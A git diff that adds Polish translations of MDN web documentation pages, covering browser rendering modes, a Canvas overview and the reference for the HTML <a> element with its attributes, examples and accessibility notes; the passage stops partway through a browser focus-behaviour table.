+<p>W Firefoksie wybierz opcję <em>View Page Info</em> z menu kontekstowego i poszukaj trybu <em>Render Mode</em>.</p>
+
+<p>W Internet Explorerze naciśnij <em>F12 i poszukaj</em> <em>Document Mode</em>.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Jakie są różnice pomiędzy trybami?</h2>
+
+<p>Zobacz <a href="https://developer.mozilla.org/pl/docs/Mozilla/Mozilla_quirks_mode_behavior" title="Mozilla_Quirks_Mode_Behavior">listę zgodności</a> oraz <a href="https://developer.mozilla.org/pl/docs/Mozilla/Gecko_Almost_Standards_Mode" title="Gecko%27s_%22Almost_Standards%22_Mode">tryb prawie standardowy</a>, aby poznać różnice pomiędzy trybami.</p>
diff --git a/files/pl/web/html/canvas/index.html b/files/pl/web/html/canvas/index.html
new file mode 100644
index 0000000000..e4bf56c5e7
--- /dev/null
+++ b/files/pl/web/html/canvas/index.html
@@ -0,0 +1,55 @@
+---
+title: Canvas
+slug: Web/HTML/Canvas
+translation_of: Web/API/Canvas_API
+---
+<div>
+ {{outdated()}}</div>
+<div>
+ <p><strong>Canvas</strong> (<code>&lt;canvas&gt;</code>) jest nowym elementem <a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i <a href="/pl/docs/Prosty_RayCaster" title="pl/docs/Prosty_RayCaster">nie tylko prostych</a>) animacji.</p>
+ <p>Po raz pierwszy <code>&lt;canvas&gt;</code> został przedstawiony przez Apple dla <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Mac OS X Dashboard</a> i później zaimplementowany w Safari. Przeglądarki oparte o silnik <a href="/pl/docs/Gecko" title="pl/docs/Gecko">Gecko</a> począwszy od wersji 1.8 (tj. <a href="/pl/docs/Firefox_1.5_dla_programistów" title="pl/docs/Firefox_1.5_dla_programistów">Firefox 1.5</a> oraz późniejsze) obsługują ten nowy element. Również Opera 9 go wspiera. Czynione są starania, aby <code>&lt;canvas&gt;</code> był obsługiwany przez Internet Explorera (zobacz ).</p>
+ <p>Element <code>&lt;canvas&gt;</code> jest częścią specyfikacji <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> znanej także jako HTML 5.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+ <dl>
+ <dt>
+ <a href="/pl/docs/Rysowanie_grafik_za_pomocą_Canvas" title="pl/docs/Rysowanie_grafik_za_pomocą_Canvas">Rysowanie grafik za pomocą Canvas</a></dt>
+ <dd>
+ Wprowadzenie do <code>&lt;canvas&gt;</code>.</dd>
+ <dt>
+ <a href="/pl/docs/Przewodnik_po_canvas" title="pl/docs/Przewodnik_po_canvas">Przewodnik po canvas</a></dt>
+ <dd>
+ <code>&lt;canvas&gt;</code> jest nowym elementem <a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i <a href="/pl/docs/Prosty_RayCaster" title="pl/docs/Prosty_RayCaster">nie tylko prostych</a>) animacji.</dd>
+ <dt>
+ <a href="/pl/docs/Fragmenty_kodu/Canvas" title="pl/docs/Fragmenty_kodu/Canvas">Fragmenty kodu:Canvas</a></dt>
+ <dd>
+ Fragmenty kodu z użyciem <code>&lt;canvas&gt;</code>.</dd>
+ <dt>
+ <a href="/pl/docs/tag/Przykłady_Canvas" title="Special:Tags?tag=Przykłady_Canvas">Przykłady Canvas</a></dt>
+ <dd>
+ Lista różnych przykładów stosujących <code>&lt;canvas&gt;</code>.</dd>
+ <dt>
+ <a href="/pl/docs/Rysowanie_tekstu_za_pomocą_Canvas" title="pl/docs/Rysowanie_tekstu_za_pomocą_Canvas">Rysowanie tekstu za pomocą Canvas</a></dt>
+ <dd>
+ Dokumentacja nowych własności <code>&lt;canvas&gt;</code> dostępnych począwszy od Firefoksa 3</dd>
+ </dl>
+ </td>
+ <td>
+ <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+ <ul>
+ <li>Zobacz fora Mozilli... {{DiscussionList("dev-tech-html","mozilla.dev.tech.html")}}</li>
+ <li><a class="external" href="http://groups.yahoo.com/group/canvas-developers/">Grupa Yahoo programistów Canvas</a></li>
+ </ul>
+ <h2 class="Related_Topics" id="Tematy_powi.C4.85zane" name="Tematy_powi.C4.85zane">Tematy powiązane</h2>
+ <ul>
+ <li><a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>, <a href="/pl/docs/CSS" title="pl/docs/CSS">CSS</a>, <a href="/pl/docs/AJAX" title="pl/docs/AJAX">AJAX</a>, <a href="/pl/docs/DOM" title="pl/docs/DOM">DOM</a>, <a href="/pl/docs/SVG" title="pl/docs/SVG">SVG</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/web/html/element/a/index.html b/files/pl/web/html/element/a/index.html
new file mode 100644
index 0000000000..fbf1e19205
--- /dev/null
+++ b/files/pl/web/html/element/a/index.html
@@ -0,0 +1,384 @@
+---
+title: '<a>: Element Kotwicy'
+slug: Web/HTML/Element/a
+tags:
+ - Element
+ - HTML
+ - HTML semantyka na poziomie tekstu
+ - Reference
+ - Treść
+ - Web
+translation_of: Web/HTML/Element/a
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>Element <code>&lt;a&gt;</code></strong> w <strong>HTML</strong> (lub element <em>kotwicy</em>) tworzy hiperłącze do innych stron internetowych, plików, miejsc na tej samej stronie, adresów e-mail lub innych adresów URL.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>,<a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content"> Treść frazowania</a>, <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">Treść interaktywna</a>, zawartość zdzieralna.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Transparent_content_model">Transparent</a>, zawierający albo <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">treści płynne</a> (z wyłączeniem <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">treści interaktywnych</a>), albo <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">treści frazowania</a>.</td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a>, lub każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">treści przepływu</a>, ale zawsze z wyłączeniem elementów <code>&lt;a&gt;</code> (zgodnie z logiczną zasadą symetrii, jeśli znacznik <code>&lt;a&gt;</code>, jako rodzic, nie może mieć <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">interaktywnej zawartości</a>, to ta sama zawartość <code>&lt;a&gt;</code> nie może mieć znacznika <code>&lt;a&gt;</code> jako rodzica).</td>
+ </tr>
+ <tr>
+ <th>Dozwolone role ARIA</th>
+ <td>{{ARIARole("button")}}, {{ARIARole("checkbox")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{DOMxRef("HTMLAnchorElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("download")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Ten atrybut nakazuje przeglądarkom pobieranie adresu URL zamiast nawigowania do niego, więc użytkownik zostanie poproszony o zapisanie go w postaci pliku lokalnego. Jeśli atrybut ma wartość, jest używany jako wstępnie wypełniona nazwa pliku w oknie dialogowym Zapisz (użytkownik nadal może zmienić nazwę, jeśli chce). Nie ma ograniczeń co do dozwolonych wartości, choć <code>/</code> oraz <code>\</code> są konwertowane na podkreślenia. Większość systemów plików ogranicza interpunkcję w nazwach plików, a przeglądarki odpowiednio dostosują sugerowaną nazwę.
+ <div class="note"><strong>Uwagi:</strong>
+ <ul>
+ <li>Ten atrybut działa tylko dla <a href="https://developer.mozilla.org/pl/docs/Web/Security/Same-origin_policy">adresów URL tego samego pochodzenia</a>.</li>
+ <li>Chociaż adresy URL HTTP muszą być w tym samym miejscu pochodzenia, obiekt <a href="https://developer.mozilla.org/pl/docs/Web/API/URL/createObjectURL"><code>blob:</code> URLs</a> oraz <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a> są dozwolone, aby można było pobierać treści generowane przez JavaScript, takie jak obrazy utworzone w aplikacji internetowej do edycji obrazów.</li>
+ <li>Jeżeli nagłówek HTTP <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Disposition"><code>Content-Disposition:</code></a> podaje inną nazwę pliku niż ten atrybut, nagłówek HTTP ma pierwszeństwo przed tym atrybutem.</li>
+ <li>Jeśli <code>Content-Disposition:</code> jest ustawione na <code>inline</code>, Firefox nadaje priorytet <code>Content-Disposition</code>, podobnie jak w przypadku nazwy pliku, podczas gdy Chrome nadaje priorytet atrybutowi <code>download</code>.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("href")}}</dt>
+ <dd>Zawiera URL lub fragment URL do którego wskazuje hiperłącze.</dd>
+ <dd>Fragment adresu URL jest nazwą poprzedzoną znakiem skrótu (<code>#</code>), który określa wewnętrzną lokalizację docelową ({{HTMLAttrxRef("id")}} elementu HTML) w bieżącym dokumencie. Adresy URL nie są ograniczone do dokumentów opartych na sieci Web, ale mogą korzystać z dowolnego protokołu obsługiwanego przez przeglądarkę. Na przykład, <a class="external" href="https://en.wikipedia.org/wiki/File_URI_scheme"><code>file:</code></a>, <code>ftp:</code>, oraz <code>mailto:</code> działają w większości przeglądarek.
+ <div class="note">
+ <p><strong>Uwaga:</strong> Możesz użyć <code>href="#top"</code> lub pusty fragment <code>href="#"</code> aby przejść do górnej części biężącej strony. <a href="https://www.w3.org/TR/html5/single-page.html#scroll-to-fragid">Takie zachowanie jest określone przez HTML5</a>.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("hreflang")}}</dt>
+ <dd>Ten atrybut wskazuje język ludzki powiązanego zasobu. Jest to atrybut czysto doradczy, bez wbudowanych funkcji. Dozwolone wartości są określane przez <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>.</dd>
+ <dt>{{HTMLAttrDef("ping")}}</dt>
+ <dd>Zawiera oddzieloną spacją listę adresów URL, do których, gdy następuje hiperłącze, żądania {{HTTPMethod("POST")}} z oznaczeniem <code>PING</code> będą wysyłane przez przeglądarkę (w tle). Najczęściej używane do śledzenia.</dd>
+ <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt>
+ <dd>Wskazuje który <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Referer">odsyłacz</a> należy wysłać podczas pobierania adresu URL:
+ <ul>
+ <li><code>'no-referrer'</code> oznacza, że <code>Referer:</code> nagłówek nie zostanie wysłany.</li>
+ <li><code>'no-referrer-when-downgrade'</code> oznacza, że <code>Referer:</code> nagłówek nie zostanie wysłany podczas nawigacji do miejsca pochodzenia bez HTTPS. Jest to zachowanie domyślne.</li>
+ <li><code>'origin'</code> oznacza, że odsyłającym będzie <a href="https://developer.mozilla.org/pl/docs/Glossary/Origin">pochodzenie</a> strony, nie włączając informacji po domenie.</li>
+ <li><code>'origin-when-cross-origin'</code> oznacza, że nawigacja do innych miejsc pochodzenia będzie ograniczona do schematu, hosta i portu, podczas gdy nawigacja w tym samym miejscu pochodzenia będzie obejmować ścieżkę strony odsyłającej.</li>
+ <li><code>'strict-origin-when-cross-origin'</code></li>
+ <li><code>'unsafe-url'</code> oznacza, że odsyłacz będzie zawierał pochodzenie i ścieżkę, ale nie fragment, hasło, lub nazwę użytkownika. Jest to niebezpieczne, ponieważ może spowodować przeciek danych z bezpiecznych adresów URL do niepewnych.</li>
+ </ul>
+ </dd>
+ <dt>{{HTMLAttrDef("rel")}}</dt>
+ <dd>Określa relację obiektu docelowego z obiektem łącza. Wartość jest oddzieloną spacjami listą <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">typów łączy</a>.</dd>
+ <dt>{{HTMLAttrDef("target")}}</dt>
+ <dd>Określa, gdzie ma być wyświetlany link URL. Jest to nazwa lub słowo kluczowe <em>kontekstu przeglądania</em>, zakładki, okna lub <code>&lt;iframe&gt;</code>. Następujące słowa kluczowe mają specjalne znaczenie:
+ <ul>
+ <li><code>_self</code>: Wczytuje adres URL do tego samego kontekstu przeglądania, co bieżący. Jest to zachowanie domyślne.</li>
+ <li><code>_blank</code>: Wczytuje adres URL w nowy kontekst przeglądania. Zazwyczaj jest to zakładka, ale użytkownicy mogą skonfigurować przeglądarkę tak, aby korzystała z nowych okien.</li>
+ <li><code>_parent</code>: Ładuje adres URL do nadrzędnego kontekstu przeglądania bieżącego. Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li>
+ <li><code>_top</code>: Wczytuje adres URL w kontekst przeglądania na najwyższym poziomie (czyli "najwyższy" kontekst przeglądania, który jest przodkiem obecnego i nie ma rodzica). Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Uwaga:</strong> Podczas używania <code>target</code>, rozważ dodanie <code>rel="noreferrer"</code>, aby uniknąć wykorzystania API <code>window.opener</code>.</p>
+ </div>
+
+ <div class="note">
+ <p><strong>Uwaga:</strong> Linkowanie do innej strony przy użyciu <code>target="_blank"</code> uruchomi nową stronę na tym samym procesie co Twoja strona. Jeśli nowa strona wykonuje duże skrypty JS, wydajność Twojej strony może ucierpieć. Aby tego uniknąć, użyj <code>rel="noopener"</code>.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>Określa typ nośnika w postaci {{Glossary("typu MIME")}} dla połączonego adresu URL. Jest to czysto doradcze, bez wbudowanych funkcji.</dd>
+</dl>
+
+<h3 id="Atrybuty_przestarzałe">Atrybuty przestarzałe</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("charset")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Ten atrybut definiuje <a href="https://developer.mozilla.org/pl/docs/Glossary/character_encoding">kodowanie znaków</a> dla powiązanego adresu URL. Wartość ta powinna być spacją i/lub przecinkiem z listy zbiorów znaków zdefiniowanych w <a class="external" href="https://tools.ietf.org/html/rfc2045">RFC 2045</a>. Domyślną wartością jest <code>ISO-8859-1</code>.
+ <div class="note">
+ <p><strong>Uwaga dotycząca zastosowania:</strong> Ten atrybut jest przestarzały w HTML5 i <strong>nie powinien być używany przez twórców</strong>. Aby uzyskać jego efekt, użyj nagłówka HTTP <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> na linkowanym adresie URL.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("coords")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Do wykorzystania z atrybutem <code>shape</code> opisanym niżej, atrybut ten używał oddzielonej przecinkami listy liczb w celu określenia współrzędnych odnośnika na stronie.</dd>
+ <dt>{{HTMLAttrDef("name")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Ten atrybut był wymagany w przypadku kotwic określających możliwą lokalizację docelową na stronie. W HTML 4.01, <code>id</code> oraz <code>name</code> mogą być używane jednocześnie w elemencie <code>&lt;a&gt;</code>, o ile mają identyczne wartości.
+ <div class="note">
+ <p><strong>Uwaga dotycząca zastosowania:</strong> Ten atrybut jest przestarzały w HTML5, zamiast niego użyj globalnego atrybutu {{HTMLAttrxRef("id")}}.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("rev")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Ten atrybut określa łącze odwrotne, odwrotną zależność atrybutu <strong>rel</strong>. Został wycofany ze względu na to, że był bardzo mylący.
+ <div class="note"><strong>Uwaga</strong>: Obecnie specyfikacja W3C HTML 5.2 stwierdza, że <code>rev</code> nie jest już przestarzałe, podczas gdy Living Standard od WHATWG nadal ma to oznaczone jako przestarzałe. Dopóki ta rozbieżność nie zostanie wyjaśniona, zalecane jest uznawać go jako atrybut przestarzały.</div>
+ </dd>
+ <dt>{{HTMLAttrDef("shape")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Atrybut ten został użyty do zdefiniowania regionu dla hiperłączy w celu utworzenia mapy obrazu. Wartości to <code>circle</code>, <code>default</code>, <code>polygon</code>, oraz <code>rect</code>. Format atrybutu <strong>coords</strong> zależy od wartości kształtu. Dla <code>circle</code> wartością jest <code>x,y,r</code> gdzie <code>x</code> oraz <code>y</code> są współrzędnymi pikseli dla środka okręgu, a <code>r</code> jest wartością promienia w pikselach. Dla <code>rect</code> atrybut <strong>coords</strong> powinien wynosić <code>x,y,w,h</code>. Wartości <code>x,y</code> definiują lewy górny narożnik prostokąta, natomiast <code>w</code> oraz <code>h</code> odpowiednio szerokość i wysokość. Wartość <code>polygon</code> dla <strong>kształtu</strong> wymaga wartości <code>x1,y1,x2,y2,...</code> dla <strong>coords</strong>. Każda z par <code>x,y</code> określa punkt wielokąta, z kolejnymi punktami połączonymi liniami prostymi i ostatnim punktem połączonym z pierwszym. Wartość <code>default</code> dla kształtu wymaga użycia całego zamkniętego obszaru, zazwyczaj obrazu.
+ <div class="note"><strong>Uwaga:</strong> Użyj atrybutu {{HTMLAttrxRef("usemap", "img")}} dla elementu {{HTMLElement("img")}} i powiązanego elementu {{HTMLElement("map")}} aby zdefiniować hotspoty zamiast atrybutu <code>shape</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Odnośnik_do_lokalizacji_zewnętrznej">Odnośnik do lokalizacji zewnętrznej</h3>
+
+<pre class="brush: html">&lt;!-- kotwica tworząca odnośnik do zewnętrznego pliku --&gt;
+&lt;a href="<a class="linkification-ext" href="http://www.mozilla.com/" title="Linkification: http://www.mozilla.com/">http://www.mozilla.com/</a>"&gt;
+Odnośnik zewnętrzny
+&lt;/a&gt;
+</pre>
+
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+
+
+<p><a class="external" href="http://www.mozilla.com/">Odnośnik zewnętrzny</a></p>
+
+<h3 id="Odnośnik_do_innej_sekcji_na_tej_samej_stronie">Odnośnik do innej sekcji na tej samej stronie</h3>
+
+<pre class="brush: html">&lt;!-- odnośniki do elementów na tej stonie z id="attr-href" --&gt;
+&lt;a href="#attr-href"&gt;
+Opis łączy na tej samej stronie
+&lt;/a&gt;</pre>
+
+<h4 id="Rezultat_2">Rezultat</h4>
+
+<p><a href="#attr-href">Opis łączy na tej samej stronie</a></p>
+
+<h3 id="Tworzenie_klikalnego_obrazu">Tworzenie klikalnego obrazu</h3>
+
+<p>W tym przykładzie jako odnośnika do strony głównej MDN użyto obrazu. Strona główna otworzy się w nowym kontekście przeglądania, czyli w nowej stronie lub nowej karcie.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org/pl/" target="_blank"&gt;
+ &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"
+ alt="MDN logo" /&gt;
+&lt;/a&gt;
+</pre>
+
+<h4 id="Rezultat_3">Rezultat</h4>
+
+<p><a href="https://developer.mozilla.org/pl/"><img alt="MDN logo" src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"></a></p>
+
+<h3 id="Tworzenie_odnośnika_email">Tworzenie odnośnika email</h3>
+
+<p>Często tworzy się linki, które otwierają się w programie pocztowym użytkownika, aby umożliwić mu wysłanie nowej wiadomości. Odbywa się to za pomocą odnośnika <code>mailto:</code>. Oto prosty przykład:</p>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Wyślij email do nikąd&lt;/a&gt;</pre>
+
+<h4 id="Rezultat_4">Rezultat</h4>
+
+<p><a href="mailto:nowhere@mozilla.org">Wyślij email do nikąd</a></p>
+
+<p>Aby uzyskać dodatkowe informacje dotyczące schematu adresu URL <code>mailto</code>, takie jak temat, treść, lub inne z góry określone treści, zobacz <a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links">Odnośniki email</a> lub {{RFC(6068)}}.</p>
+
+<h3 id="Tworzenie_łącza_telefonicznego">Tworzenie łącza telefonicznego</h3>
+
+<p>Oferowanie łącz telefonicznych jest pomocne dla użytkowników przeglądających dokumenty internetowe a ich urządzenie jest powiązane z telefonem.</p>
+
+<pre class="brush: html">&lt;a href="tel:+491570156"&gt;+49 157 0156&lt;/a&gt;</pre>
+
+<p>Dodatkowe informację na temat schematu URL <code>tel</code> można znaleźć w {{RFC(3966)}}.</p>
+
+<h3 id="Użycie_atrybutu_download_do_zapisania_&lt;canvas>_jako_PNG">Użycie atrybutu <code>download</code> do zapisania <code>&lt;canvas&gt;</code> jako PNG</h3>
+
+<p>Jeśli chcesz pozwolić użytkownikom na pobranie elementu HTML {{HTMLElement("canvas")}} jako obrazu, możesz utworzyć odnośnik z atrybutem <code>download</code> i danymi płótna jako URL pliku:</p>
+
+<pre class="brush: js">var link = document.createElement('a');
+link.textContent = 'download image';
+
+link.addEventListener('click', function(ev) {
+ link.href = canvas.toDataURL();
+ link.download = "mypainting.png";
+}, false);
+
+document.body.appendChild(link);</pre>
+
+<p>Można to zobaczyć w praktyce na stronie <a href="https://jsfiddle.net/codepo8/V6ufG/2/">jsfiddle.net/codepo8/V6ufG/2/</a>.</p>
+
+<h2 id="Uwagi">Uwagi</h2>
+
+<p>HTML 3.2 definiuje tylko atrybuty <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> oraz <code>title</code>.</p>
+
+<h2 id="Kwestie_dotyczące_bezpieczeństwa_i_prywatności">Kwestie dotyczące bezpieczeństwa i prywatności</h2>
+
+<p>Chociaż elementy <code>&lt;a&gt;</code> mają wiele niewinnych zastosowań, mogą mieć niepożądane konsekwencje dla bezpieczeństwa i prywatności użytkownika. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Nagłówek Referer: obawy dotyczące prywatności i bezpieczeństwa</a>, aby uzyskać więcej informacji i środków zaradczych.</p>
+
+<h2 id="Kwestie_dostępności">Kwestie dostępności</h2>
+
+<h3 id="wydarzenia_onclick">wydarzenia <code>onclick</code></h3>
+
+<p>Znaczniki Kotwicy są często nadużywane przez zdarzenie <code>onclick</code> do tworzenia pseudo-przycisków przez ustawienie <strong>href</strong> na <code>"#"</code> lub <code>"javascript:void(0)"</code>, aby zapobiec odświeżaniu strony.</p>
+
+<p>Wartości te powodują nieoczekiwane zachowanie podczas kopiowania/przenoszenia linków, otwierania odnośników w nowej zakładce/oknie, dodawaniu do zakładek i gdy JavaScript jest nadal pobierany, w stanie błędu, lub wyłączony. To również przekazuje nieprawidłową semantykę do technologii wspomagających (np. czytniki ekranu). W takich przypadkach zaleca się użycie przycisku {{HTMLElement("button")}} instead. Ogólnie rzecz biorąc, należy używać kotwicy tylko do nawigacji przy użyciu odpowiedniego adresu URL.</p>
+
+<h3 id="Linki_zewnętrzne_i_łącza_do_zasobów_nie-HTML">Linki zewnętrzne i łącza do zasobów nie-HTML</h3>
+
+<p>Oba odnośniki, które otwierają się w nowej zakładce lub oknie poprzez deklarację <code>target="_blank"</code> oraz linki do zasobów plików, których wartość <code>href</code> wskazuje na źródło pliku powinny zawierać wskaźnik zachowania, które wystąpi po aktywacji łącza.</p>
+
+<p>Osoby o słabym wzroku, które poruszają się za pomocą technologii odczytu ekranowego lub które mają problemy poznawcze mogą zostać zmylone, gdy nieoczekiwanie otworzy się nowa karta, okno lub aplikacja. Starsze wersje oprogramowania do czytania na ekranie mogą nawet nie ogłaszać zachowania.</p>
+
+<h4 id="Odnośnik_otwierający_nową_kartę_lub_okno">Odnośnik otwierający nową kartę lub okno</h4>
+
+<pre class="brush: html">&lt;a target="_blank" href="https://www.wikipedia.org/"&gt;Wikipedia (otwiera się w nowym oknie)&lt;/a&gt;
+</pre>
+
+<h4 id="Odnośnik_do_zasobów_nie-HTML">Odnośnik do zasobów nie-HTML</h4>
+
+<pre class="brush: html">&lt;a target="_blank" href="2017-annual-report.ppt"&gt;Raport Roczny 2017 (PowerPoint)&lt;/a&gt;
+</pre>
+
+<p>Jeśli zamiast tekstu używana jest ikona do oznaczenia tego rodzaju zachowania odnośników, upewnij się, że zawiera ona {{HTMLAttrxRef("alt", "img", "opis alternatywny", "true")}}.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM: Links and Hypertext - Hypertext Links</a></li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Zrozumienie WCAG, Wytyczna 3.2 wyjaśnienie</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200: Opening new windows and tabs from a link only when necessary | W3C Techniques for WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201: Giving users advanced warning when opening a new window | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Odnośniki_pomijające">Odnośniki pomijające</h3>
+
+<p>Link pomijający, znany również jako skipnav, jest elementem <code>a</code> umieszczonym jak najbliżej elementu otwarcia {{HTMLElement("body")}}, który odsyła do początku głównej zawartości strony. Odnośnik ten umożliwia ominięcie treści powtarzanej na wielu stronach, takich jak nagłówek strony i podstawowa nawigacja.</p>
+
+<p>Łącza pomijające są szczególnie przydatne dla osób, które poruszają się za pomocą technologii wspomagających, takich jak przełączniki, komendy głosowe, ustne pałeczki/różdżki, gdzie poruszanie się przez powtarzające się łącza może być pracochłonnym zadaniem.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+ <li><a href="https://a11yproject.com/posts/skip-nav-links/">How–to: Use Skip Navigation links - The A11Y Project</a></li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Zrozumienie WCAG, Wytyczna 2.4 wyjaśnienie</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Odległość">Odległość</h3>
+
+<p>Duża ilość interaktywnych treści—w tym kotwic—umieszczonych w bliskiej odległości od siebie powinna mieć miejsce na ich oddzielenie. Odstęp ten jest korzystny dla osób, które doświadczają problemów z układem ruchu, które mogą przypadkowo aktywować błędne treści interaktywne podczas nawigacji.</p>
+
+<p>Odstępy mogą być tworzone przy użyciu właściwości CSS, takich jak {{CSSxRef("margin")}}.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li>
+</ul>
+
+<h3 id="Klikanie_i_focus">Klikanie i focus</h3>
+
+<p>To, czy kliknięcie na {{HTMLElement("a")}} powoduje, że przechodzi ono w tryb skupienia, zależy od przeglądarki i systemu operacyjnego.</p>
+
+<table class="standard-table">
+ <caption>Czy kliknięcie na {{HTMLElement("a")}} spowoduje tryb skupienia?</caption>
+ <thead>
+ <tr>
+ <th scope="row">Przeglądarki stacjonarne</th>
+ <th scope="col">Windows 8.1</th>
+ <th scope="col">OS X 10.9</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Firefox 30.0</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ </tr>
+ <tr>
+ <td>Chrome ≥39<br>
